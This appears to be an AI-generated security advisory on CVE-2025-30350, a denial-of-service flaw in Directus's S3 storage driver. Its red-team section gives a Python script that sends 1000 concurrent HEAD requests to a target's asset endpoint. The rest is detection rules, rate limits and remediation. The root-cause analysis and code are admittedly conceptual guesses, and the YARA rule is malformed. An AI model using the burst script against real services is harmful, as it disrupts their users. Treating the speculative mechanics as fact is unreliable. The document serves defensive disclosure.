CVE-2025-30350

Executive Summary

CVE-2025-30350 is a denial-of-service (DoS) vulnerability in the @directus/storage-driver-s3 package, which is used by Directus to manage assets stored in Amazon S3-compatible object storage. The vulnerability allows an unauthenticated attacker to cause a temporary denial of service for all asset requests by sending a burst of HTTP HEAD requests. When the S3 driver receives a high volume of HEAD requests concurrently, it exhausts internal resources, causing all subsequent asset requests (including those from administrators and public users) to be denied with a 403 Forbidden status. This effectively makes all assets unavailable until the system recovers or is restarted. The issue affects Directus versions from 9.22.0 up to (but not including) 11.5.0, and the corresponding @directus/storage-driver-s3 package versions from 9.22.0 up to (but not including) 12.0.1. The fix is included in Directus 11.5.0 and @directus/storage-driver-s3 12.0.1.

Supply Chain & Package Security

This vulnerability resides in the @directus/storage-driver-s3 npm package. Organizations using Directus with S3 storage should verify their dependency tree to ensure they are not using a vulnerable version. The package is a critical component for asset management, and its compromise can lead to full asset unavailability. Supply chain security practices, such as using lockfiles and verifying package integrity, are recommended to prevent the introduction of vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): Low – The vulnerability causes a temporary denial of service for assets.

Threat Level: Medium. While the CVSS score is moderate, the impact on availability can be significant for organizations that rely on Directus for content delivery. The attack is easy to execute and requires no authentication.

Deep Dive & Mechanics

The vulnerability is rooted in how the @directus/storage-driver-s3 package handles HTTP HEAD requests. When a HEAD request is made to check the existence of a file, the driver performs an S3 API call (likely HeadObject). Under normal conditions, this works fine. However, when a large number of HEAD requests are sent concurrently, the driver's internal resource management (e.g., connection pool, request queue, or rate limiter) becomes overwhelmed. This leads to a state where all subsequent requests, regardless of method (GET, HEAD, etc.) or authentication status, are incorrectly denied with a 403 Forbidden response.

The root cause is a lack of proper throttling or resource isolation for HEAD requests. The S3 driver likely uses a shared resource (e.g., a semaphore or connection pool) that is exhausted by the burst of HEAD requests, causing all other operations to fail. The fix in version 12.0.1 likely introduces rate limiting or better resource management to prevent this exhaustion.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the fix is expected to involve adding rate limiting or connection pooling improvements for HEAD requests.

Vulnerable Code (Conceptual):

// Vulnerable: No rate limiting on HEAD requests
async headObject(key) {
    const command = new HeadObjectCommand({ Bucket: this.bucket, Key: key });
    return this.s3Client.send(command);
}

Patched Code (Conceptual):

// Patched: Rate limiting added
const rateLimit = new RateLimiter({ tokensPerInterval: 100, interval: 'second' });

async headObject(key) {
    await rateLimit.consume(); // Wait for a token
    const command = new HeadObjectCommand({ Bucket: this.bucket, Key: key });
    return this.s3Client.send(command);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Directus instance (version 9.22.0 to 11.4.x) with S3 storage configured.
• Network access to the Directus API endpoint.

Exploitation Steps:

1. Identify the Directus asset endpoint (e.g., https://target.directus.app/assets/<file-id>).
2. Send a high volume of concurrent HEAD requests to the asset endpoint. This can be done using tools like curl, ab, or custom scripts.
3. After a short burst (e.g., 1000 requests in 1 second), all subsequent asset requests (GET, HEAD) will return 403 Forbidden.
4. The denial of service persists until the system recovers or is restarted.

Example Script (Python):

import requests
import threading

target_url = "https://target.directus.app/assets/some-file-id"

def send_head():
    try:
        requests.head(target_url)
    except:
        pass

# Send 1000 concurrent HEAD requests
threads = []
for _ in range(1000):
    t = threading.Thread(target=send_head)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print("Burst sent. Assets should now be unavailable.")

Blue Team

Detection:

• Monitor for a high volume of HEAD requests to asset endpoints within a short time window.
• Alert on a sudden increase in 403 responses for asset requests.

Mitigation:

• Apply the patch by upgrading to Directus 11.5.0 or later.
• Implement a Web Application Firewall (WAF) rule to rate-limit HEAD requests.
• Use a reverse proxy (e.g., Nginx) to limit the number of requests per IP.

Nginx Rate Limiting Example:

limit_req_zone $binary_remote_addr zone=head_limit:10m rate=10r/s;

server {
    location /assets/ {
        limit_req zone=head_limit burst=20 nodelay;
        proxy_pass http://directus_backend;
    }
}

Indicators of Compromise (IOCs)

• Network: A high volume of HTTP HEAD requests to /assets/* endpoints from a single IP or a small set of IPs.
• Logs: Directus access logs showing a burst of HEAD requests followed by a spike in 403 responses for all asset requests.
• System: Elevated CPU or memory usage on the Directus server due to the S3 driver's resource exhaustion.

Detection Engineering

YARA Rule

rule CVE_2025_30350_HEAD_Burst {
    meta:
        description = "Detects a burst of HEAD requests to Directus asset endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30350"
    strings:
        $head_method = "HEAD"
        $asset_path = "/assets/"
    condition:
        # of ($head_method) > 100 and # of ($asset_path) > 100
}

Sigma Rule

title: CVE-2025-30350 - Directus S3 HEAD Request DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of HEAD requests to Directus asset endpoints, indicating a potential DoS attack.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: directus
detection:
    selection:
        http.method: HEAD
        http.url|contains: /assets/
    timeframe: 1s
    condition: selection | count() > 100
falsepositives:
    - Legitimate sync tools making many HEAD requests (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30350 - Directus S3 HEAD Request DoS"; flow:to_server; http.method; content:"HEAD"; http.uri; content:"/assets/"; threshold: type both, track by_src, count 100, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade @directus/storage-driver-s3 to version 12.0.1 or later (Directus 11.5.0 or later).
• If immediate upgrade is not possible, implement rate limiting on HEAD requests at the reverse proxy or WAF level.

Long-term:

• Monitor for unusual request patterns using the provided detection rules.
• Conduct a security review of all Directus storage drivers for similar resource exhaustion issues.
• Implement a robust incident response plan for DoS attacks.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.